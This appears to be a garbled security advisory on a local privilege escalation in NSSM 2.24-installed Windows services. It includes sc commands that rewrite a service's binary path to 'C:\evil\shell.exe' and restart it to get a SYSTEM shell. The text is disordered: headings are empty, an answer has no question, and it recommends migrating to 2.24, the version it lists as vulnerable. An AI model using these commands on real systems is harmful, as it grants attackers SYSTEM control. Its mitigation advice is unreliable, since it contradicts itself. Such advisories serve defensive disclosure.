Assumptions:
Steps to escalate:
# As standard user bob sc qc vuln_svc :: Output shows SERVICE_CHANGE_CONFIG permission present.
sc config vuln_svc binPath= "C:\evil\shell.exe" sc stop vuln_svc sc start vuln_svc
shell.exe runs as SYSTEM.
Software: Non-Sucking Service Manager (NSSM) Affected Versions: NSSM 2.24 (and likely prior versions) Severity: High Vector: Local Impact: Privilege Escalation (Local System)
NSSM 2.24, when used to install a Windows service with default parameters, may create a service that allows a low-privileged, authenticated user to modify the service binary path or execute arbitrary commands as SYSTEM. This behavior results in a local privilege escalation vulnerability. nssm-2.24 privilege escalation
No. The risk is too high for any environment with multiple users or exposure to untrusted code. The convenience of NSSM does not outweigh the privilege escalation threat. Even if you "trust" your users, malware running as a user can rapidly abuse NSSM to gain SYSTEM.
If you must use NSSM, migrate to version 2.24 but apply all the mitigation steps above. Better yet, use a maintained alternative like WinSW with XML configuration files that support integrity checks.
When NSSM installs a service using the command: Assumptions:
nssm install <ServiceName> <path-to-executable>
It creates a service with the following security descriptor (by default):
This allows an unprivileged user to: